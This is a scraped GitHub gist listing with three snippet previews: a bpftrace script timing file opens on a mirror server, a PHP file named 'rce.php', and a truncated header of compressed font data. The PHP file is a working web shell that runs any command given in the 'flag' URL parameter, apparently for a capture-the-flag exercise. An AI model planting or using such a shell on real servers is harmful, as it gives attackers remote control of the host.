Skip to content

Instantly share code, notes, and snippets.

View 135e2's full-sized avatar
🤖
Busy Daydreaming.

Mole Shang 135e2

🤖
Busy Daydreaming.
View GitHub Profile
@135e2
135e2 / trace_latency.bt
Created December 4, 2023 11:39
SEU-Mirrors: Testing Scripts
#!/usr/bin/env bpftrace
BEGIN
{
printf("Tracing open file latency... Hit Ctrl-C to end.\n");
}
tracepoint:syscalls:sys_enter_openat
{
if (strncmp(str(args->filename), "/opt/tunasync/serve/archlinux", 29) == 0) {
@135e2
135e2 / rce.php
Created September 26, 2023 13:50
<!DOCTYPE html>
<html>
<body>
<?php
$commandOutput = shell_exec($_GET['flag']);
echo "<pre>$commandOutput</pre>";
?>
</body>
</html>
This file has been truncated, but you can view the full file.
// File: '/usr/share/fonts/opentype/noto/NotoSansCJK-Regular.ttc' (19484784 bytes)
// Exported using binary_to_compressed_c.cpp
#ifndef NOTOSANSCJK_H_
#define NOTOSANSCJK_H_
static const char NotoSansCJK_compressed_data_base85[22152770+1] =
"7])#######dw9+G'/###@ixuB5*,##&@V8&128N0X,>>#f5YY#s>uu#*H:;$7QUV$DZqr$Qd68%_mQS%lvmo%g[f+>Zr0hL4rH##ObGd=G(q'sC(35&#IqA69fiT9P.C;Wu1NP&8MjVl"
"`Y;99&;.[#RY?/pL(-p/&RdL<GBOXZ5P4U%jB*##<e'e=sjj::rD8ip9VbY#%Fpe=^*C0m&0JxtMLm92QmEM<=_D6$jR[w'xmjERttC0F05h7v(]GxtPcxu#2*CUC^f[xu9aB;->&q92"
"f'TqL#/&h(fAA;-P@aw'E3n0FvK@?maZ^w'm-&v#>c[=Bb'T:vCpTS.'&k--w:]=Bh)+e9_?^w'gY(kk<1DiF<BxCN&ero.8Xe--_BC8MI^]t)%*m<-l12X-:d,R<VAT`8RN.U.3'#>u"
"dd;97R=YqZ@4h>XdlG9%xnSs5o67'NF_p%ObgA9.UwBR#W?&M^nK7;Qga,t$UjE;-gVNW&.skt&JE2<%^C3<HcM4;W#vf^%LIJj0t1#A:8Hh0(A/ZImiGIm06v]k(nx8*>:`:h-D]?p."